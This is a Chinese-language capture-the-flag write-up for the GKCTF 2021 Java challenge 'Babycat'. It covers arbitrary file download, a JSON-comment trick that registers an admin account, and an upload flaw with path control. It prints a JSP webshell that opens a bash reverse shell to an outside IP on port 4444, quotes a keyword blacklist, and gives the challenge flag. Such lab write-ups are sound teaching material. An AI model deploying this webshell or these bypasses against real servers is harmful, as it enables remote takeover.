GKCTF-Babycat
2021GKCTF的Java题目
题目考点
- 文件读取
- json绕过
- jsp上传
解题
1.文件读取
打开页面是一个登录和注册的框,尝试使用一些万能密码登录都不行。注册是不被允许的,会弹窗notallowd

查看注册页面的源代码,发现一段js代码。没有特别学过js,看的我一知半解但是我猜测应该是需要我们使用post方法然后将username和password用json的方式传输
<script type="text/javascript">
// var obj={};
// obj["username"]='test';
// obj["password"]='test';
// obj["role"]='guest';
function doRegister(obj){
if(obj.username==null || obj.password==null){
alert("用户名或密码不能为空");
}else{
var d = new Object();
d.username=obj.username;
d.password=obj.password;
d.role="guest";
$.ajax({
url:"/register",
type:"post",
contentType: "application/x-www-form-urlencoded; charset=utf-8",
data: "data="+JSON.stringify(d),
dataType: "json",
success:function(data){
alert(data)
}
});
}
}
</script>
于是我构造一下的请求包,发现注册成功了

然后使用账号以及密码登录后跳转至一个新的页面,有上传也有下载操作。上传只允许admin用户来访问,Download Test下载的是一个猫猫的动图

抓包发现Download Test存在任意文件下载(读取),因为是java环境所以尝试读取了web.xml(老套路了),/etc/passwd这样的文件自然是读取不了的

web.xml:
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<servlet>
<servlet-name>register</servlet-name>
<servlet-class>com.web.servlet.registerServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>login</servlet-name>
<servlet-class>com.web.servlet.loginServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>home</servlet-name>
<servlet-class>com.web.servlet.homeServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>upload</servlet-name>
<servlet-class>com.web.servlet.uploadServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>download</servlet-name>
<servlet-class>com.web.servlet.downloadServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>logout</servlet-name>
<servlet-class>com.web.servlet.logoutServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>logout</servlet-name>
<url-pattern>/logout</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>download</servlet-name>
<url-pattern>/home/download</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>register</servlet-name>
<url-pattern>/register</url-pattern>
</servlet-mapping>
<display-name>java</display-name>
<servlet-mapping>
<servlet-name>login</servlet-name>
<url-pattern>/login</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>home</servlet-name>
<url-pattern>/home</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>upload</servlet-name>
<url-pattern>/home/upload</url-pattern>
</servlet-mapping>
<filter>
<filter-name>loginFilter</filter-name>
<filter-class>com.web.filter.LoginFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>loginFilter</filter-name>
<url-pattern>/home/*</url-pattern>
</filter-mapping>
<display-name>java</display-name>
<welcome-file-list>
<welcome-file>/WEB-INF/index.jsp</welcome-file>
</welcome-file-list>
</web-app>
然后分别读取uploadServlet.class,registerServlet.class,loginServlet.class,Person.class....等文件。起初我想通过文件上传jsp马的方式拿shell
2.json构造
uploadServlet.class部分代码:想要上传文件必须是role:admin,如果想从这里权限绕过其实不现实因为这里是通过session获取role来判断身份的
@MultipartConfig
public class uploadServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String admin = "admin";
Person user = (Person)req.getSession().getAttribute("user"); //从session中获取user
System.out.println(user.getRole()); //Person实例user对象的role属性
if (!admin.equals(user.getRole())) { //role属性是否是admin
req.setAttribute("error", "<script>alert('admin only');history.back(-1)</script>");
req.getRequestDispatcher("../WEB-INF/error.jsp").forward((ServletRequest)req, (ServletResponse)resp);
} else {
List<String> fileNames = new ArrayList<>();
tools.findFileList(new File(System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/"), fileNames);
req.setAttribute("files", fileNames);
System.out.println(fileNames);
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward((ServletRequest)req, (ServletResponse)resp);
}
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward((ServletRequest)req, (ServletResponse)resp);
}
doGet上传不行,那么doPost呢?这里没有验证是否是admin就可以直接上传(官方wp说这里是非预期解)这个后面再说
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (!ServletFileUpload.isMultipartContent(req)) {
req.setAttribute("error", "<script>alert('something wrong');history.back(-1)</script>");
req.getRequestDispatcher("../WEB-INF/error.jsp").forward((ServletRequest)req, (ServletResponse)resp);
}
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(3145728);
factory.setRepository(new File(System.getProperty("java.io.tmpdir")));
ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory);
upload.setFileSizeMax(41943040L);
upload.setSizeMax(52428800L);
String uploadPath = System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/";
try {
List<FileItem> formItems = upload.parseRequest(req);
if (formItems != null && formItems.size() > 0)
for (FileItem item : formItems) {
if (!item.isFormField()) {
String fileName = item.getName();
String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", "");
String name = fileName.replace(ext, "");
if (checkExt(ext) || checkContent(item.getInputStream())) {
req.setAttribute("error", "upload failed");
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward((ServletRequest)req, (ServletResponse)resp);
}
String filePath = uploadPath + File.separator + name + ext;
File storeFile = new File(filePath);
item.write(storeFile);
req.setAttribute("error", "upload success!");
}
}
} catch (Exception ex) {
req.setAttribute("error", "<script>alert('something wrong');history.back(-1)</script>");
}
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward((ServletRequest)req, (ServletResponse)resp);
}
loginServlet.class:其实这里也不是很好绕过因为输入的username和password是从ctf表中取出来对比然后设置session的,role字段在ctf表中已经确定
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setCharacterEncoding("utf-8");
String var = req.getParameter("data").replaceAll(" ", "");
Person person = (Person)(new Gson()).fromJson(var, Person.class);
System.out.println(person.toString());
Connection connection = null;
try {
connection = baseDao.getConnection();
} catch (Exception e) {
e.printStackTrace();
}
if (connection != null) {
String sql = "select * from ctf where username=? and password=?";
Object[] params = { person.getUsername(), person.getPassword() };
try {
ResultSet rs = baseDao.execute(connection, sql, params); //从数据库的ctf表中取出username,password,role字段
if (rs.next()) {
String pwd = rs.getString("password");
if (pwd.equals(person.getPassword())) {
HttpSession session = req.getSession();
Person login_person = new Person(rs.getString("username"), pwd, rs.getString("role"), rs.getString("pic")); //设置一个Person实例
session.setAttribute("user", login_person); //设置session
System.out.println(login_person);
resp.getWriter().write("{\"msg\":\"login success!\"}");
} else {
resp.getWriter().write("{\"msg\":\"username or password error!\"}");
}
} else {
resp.getWriter().write("{\"msg\":\"username or password error!\"}");
}
} catch (SQLException e) {
e.printStackTrace();
}
} else {
resp.sendError(500, "something error!");
}
}
所以现在只能尝试注册一个role:admin的账户,registerServlet.class: 这里是主要代码,后面就是往数据库中注册
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setCharacterEncoding("UTF-8");
Integer res = Integer.valueOf(0);
String role = "";
Gson gson = new Gson();
Person person = new Person();
Connection connection = null;
String var = req.getParameter("data").replaceAll(" ", "").replace("'", "\"");
Pattern pattern = Pattern.compile("\"role\":\"(.*?)\""); //正则表达式匹配 "role":"xxx"这样的内容
Matcher matcher = pattern.matcher(var);
while (matcher.find()) //循环寻找最后一个匹配成功的字符串
role = matcher.group();
if (!StringUtils.isNullOrEmpty(role)) {
var = var.replace(role, "\"role\":\"guest\""); //存在字符串就替换
person = (Person)gson.fromJson(var, Person.class);
} else {
person = (Person)gson.fromJson(var, Person.class); //不存在就添加
person.setRole("guest");
}
问题就出现在循环的位置while(matcher.find()),这里找到最后一个匹配成功的字符串然后后续进行替换或添加,如果我们在前面添加"role":"admin"其实是不会被发现的,又因为json解析的特性后面出现的键会覆盖前面相同的键,所以我们必须将后面的键注释掉,json的注释:/**/
data={"username":"admin","password":"admin888","role":"admin"/*,"role":"guest"*/}
同样也可以这样构造
data={"username":"admin","password":"admin888","role":"admin","role"/**/:"admin"}
其实我一开始是这样构造的,这样可以吗?因为这里没有正则匹配到的字符串所以不会被替换但是会被else部分添加person.setRole("guest");,这样就导致了后面的覆盖前面的键值对导致构造失败。
data={"username":"admin","password":"admin888","role"/**/:"admin"}
其实这一部分有点php反序列化字符串逃逸的感觉,最后成功越权

我是admin!

3.jsp马上传
关于文件上传getshell要注意以下几点:
- 上传路径是否可控
- 是否有文件类型的限制
在home页面下点击upload会先走uploadServlet.class的doGet()方法,然后选则择文件上传会走doPost()方法,uploadServlet#doPost()会有俩个安全检测一个检查后缀名,另一个检测文件内容。但是if(checkExt(ext)||checkContent(item.getInputStream()))检查完以后没有return意味这代码会继续执行。也就相当于没检查
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (!ServletFileUpload.isMultipartContent(req)) { //没有内容上传直接返回error.jsp页面
req.setAttribute("error", "<script>alert('something wrong');history.back(-1)</script>");
req.getRequestDispatcher("../WEB-INF/error.jsp").forward((ServletRequest)req, (ServletResponse)resp);
}
DiskFileItemFactory factory = new DiskFileItemFactory(); //创建文件工厂: 临时存放文件的地方
factory.setSizeThreshold(3145728); //工厂
factory.setRepository(new File(System.getProperty("java.io.tmpdir")));
ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory);
//创建上传工具,指定使用缓存区与临时文件存储位置.
upload.setFileSizeMax(41943040L); //单个文件上传大小
upload.setSizeMax(52428800L); //总文件上传大小
String uploadPath = System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/"; //文件上传路径
try {
List<FileItem> formItems = upload.parseRequest(req);
//upload.parseRequest(req)用于解析request对象并返回所有上传项.每一个FileItem就相当于一个上传项.
if (formItems != null && formItems.size() > 0)
for (FileItem item : formItems) { //循环处理每一个上传项
if (!item.isFormField()) {
//上传组件
String fileName = item.getName(); //获取上传文件名
String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", ""); //获取后缀名index.jsp就是jsp
String name = fileName.replace(ext, ""); //name就是index.
if (checkExt(ext) || checkContent(item.getInputStream())) {
req.setAttribute("error", "upload failed");
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward((ServletRequest)req, (ServletResponse)resp);
// 没有return返回
}
String filePath = uploadPath + File.separator + name + ext; //File.separator文件分隔符\或/
File storeFile = new File(filePath); //新建文件
item.write(storeFile); //写入文件内容
req.setAttribute("error", "upload success!");
}
}
} catch (Exception ex) {
req.setAttribute("error", "<script>alert('something wrong');history.back(-1)</script>");
}
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward((ServletRequest)req, (ServletResponse)resp);
}
CATALINA_BASE与CATALINA_HOME的区别:https://blog.csdn.net/keda8997110/article/details/21400455
- CATALINA_HOME:Tomcat安装目录
- CATALINA_BASE:Tomcat工作目录
checkExt方法:这里根据ext的意思和方法能判断出该方法是检测文件扩展名的
private static boolean checkExt(String ext) {
boolean flag = false;
String[] extWhiteList = { //只能是这些文件扩展名
"jpg", "png", "gif", "bak", "properties", "xml", "html", "xhtml", "zip", "gz",
"tar", "txt" };
if (!Arrays.<String>asList(extWhiteList).contains(ext.toLowerCase()))
flag = true;
return flag;
}
checkContent方法:
private static boolean checkContent(InputStream item) throws IOException {
//检查文件的内容中不能包含"Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit" 这些内容
boolean flag = false;
InputStreamReader input = new InputStreamReader(item);
BufferedReader bf = new BufferedReader(input);
String line = null;
StringBuilder sb = new StringBuilder();
while ((line = bf.readLine()) != null)
sb.append(line);
String content = sb.toString();
String[] blackList = { "Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit" };
for (int i = 0; i < blackList.length; i++) {
if (content.contains(blackList[i]))
flag = true;
}
return flag;
}
我尝试了一个正确的文件上传和错误的文件上传还都有显示
文件类型和文件上传路径都可以控制,因为是java环境而且是可以解析jsp,准备一个jsp的shell上传。目前已经知道的项目结构是在webapps/ROOT目录下
-
META-INF
-
static
-
WEB-INF
-
upload
-
web.xml
-
classes
- com.web.servlet.registerServlet.class
-
lib
-
index.jsp
-
error.jsp
-
需要将文件上传到能够解析jsp且我们可以url访问到的地方,static目录或者ROOT目录下。 这是webshell.jsp:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>WebShell</title>
</head>
<body>
<%--反弹shell--%>
<%
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/101.42.224.57/4444 0>&1"});
%>
</body>
</html>
将webshell.jsp文件上传到static目录下
然后访问该url并拿到shell
最后在根目录下readflag即可拿到flag,NSSCTF{05657a53-b853-4a62-a391-6f1dc1fb74c2}
但是令我疑惑的是为什么我在ROOT/目录下上传的jsp通过url访问竟然访问不了。上传到static目录下就可以,直到我拿到shell后才发现我应该是没有在ROOT目录下写文件的权限

俩天时间解决完了这道题,感谢NSSCTF提供的平台。

浙公网安备 33010602011771号